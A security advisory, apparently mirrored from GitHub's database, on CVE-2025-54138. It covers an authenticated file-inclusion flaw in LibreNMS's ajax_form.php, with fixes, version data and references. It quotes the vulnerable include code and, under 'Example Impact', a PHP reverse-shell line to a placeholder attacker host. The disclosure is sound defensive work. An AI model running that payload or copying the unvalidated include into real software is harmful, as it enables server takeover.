LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.
The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.
This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.
Conditions for Exploitation
- Attacker must be authenticated
- Attacker must control a file at
includes/html/forms/{type}.inc.php(or symlink)
Example Impact (RCE)
If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812
Recommended Fix
- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into
include_once. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | librenms/librenms | < 25.7.0 | 25.7.0 |
Referencias
- https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2
- https://nvd.nist.gov/vuln/detail/CVE-2025-54138
- https://github.com/librenms/librenms/pull/17990
- https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81
- https://github.com/librenms/librenms
- https://github.com/librenms/librenms/releases/tag/25.7.0
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-98- Plataforma
- Composer
- Paquete
librenms/librenms- Publicada
- 21.07.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-gq96-8w38-hhj2 - CC BY 4.0
Historial de vulnerabilidades: librenms/librenms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 106
- Primera → última
- 10.2019 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 5
- Alta 39
- Media 56
- Baja 6
Divulgaciones por año
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE esta entrada
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